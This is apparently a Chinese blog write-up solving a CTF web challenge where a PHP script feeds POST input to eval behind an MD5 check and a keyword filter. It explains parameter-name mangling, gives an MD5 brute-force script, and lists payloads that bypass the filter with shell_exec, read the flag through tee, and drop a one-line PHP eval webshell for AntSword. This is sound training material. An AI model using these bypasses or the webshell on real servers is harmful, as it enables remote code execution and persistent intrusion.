[NewStarCTF 2023 公开赛道]R!C!E!

好久没写了。今天儿弄一个rce

题很直接,好久没这么直白的题了,看源码

<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
}

这题不难,一共三个考点。

1.非法参数

   e_a.v.l是非法参数,它会自动被替换为e_a_v_l。这里使用 e[a.v.l传参,中括号会被替换为下划线,而后边的.会被忽略,则不被替换。

2.密码md5

   md5前6位是c4d038,上脚本,结果是114514,结果好臭。

import hashlib
for i in range(1,10000000000000):
    m=hashlib.md5(str(i).encode()).hexdigest()
    if m[0:6]=='c4d038':
        print(i)
        break

3.过滤了关键字

   3.1 使用管道符读取结果

1.shell_exec('l\s+/|tee+a'); //查看根目录文件并保存至a
2.shell_exec('ca""t+/fl*|tee+b'); //读取flag并保存至b

        执行命令后直接访问a和b即可

   3.2 写入木马(+是bp上空格代替所用)

1.shell_exec('echo+"<?=eval(\$_POST[1]);?>"+>+1.php');

         拿蚁剑连接1.php即可。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值